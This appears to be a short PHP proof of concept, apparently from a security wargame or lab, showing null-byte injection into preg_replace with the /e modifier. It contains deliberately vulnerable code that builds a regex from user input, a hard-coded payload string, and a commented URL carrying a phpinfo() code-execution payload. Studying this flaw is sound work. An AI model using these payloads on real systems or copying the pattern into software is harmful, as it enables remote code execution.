<?php
//$search = htmlentities($_GET['search']);
$x="time();/*apple*/||/e\0";
$search=htmlentities($x);
echo $search;
echo "\n";
if (strpos($search, 'apple') !== false){
echo preg_replace("/".$search."/", $search." <img src='".$search.".png'>", "apple");
}elseif (strpos($search, 'orange') !== false){
echo preg_replace("/".$search."/", $search." <img src='".$search.".png'>", "orange");
}elseif (strpos($search, 'banana') !== false){
echo preg_replace("/".$search."/", $search." <img src='".$search.".png'>", "banana");
}elseif (strpos($search, 'kiwi') !== false){
echo preg_replace("/".$search."/", $search." <img src='".$search.".png'>", "kiwi");
}else echo "Please search for apple, orange, banana, or kiwi.";
#http://lists.webappsec.org/pipermail/websecurity_lists.webappsec.org/2011-July/007960.html
#http://ha.xxor.se/2011/06/null-byte-injection-in-pregreplace.html
#http://www.enigmagroup.org/missions/basics/auditing/12/index.php?search=phpinfo();%23|apple/e%00
preferences:
60.35 ms | 402 KiB | 5 Q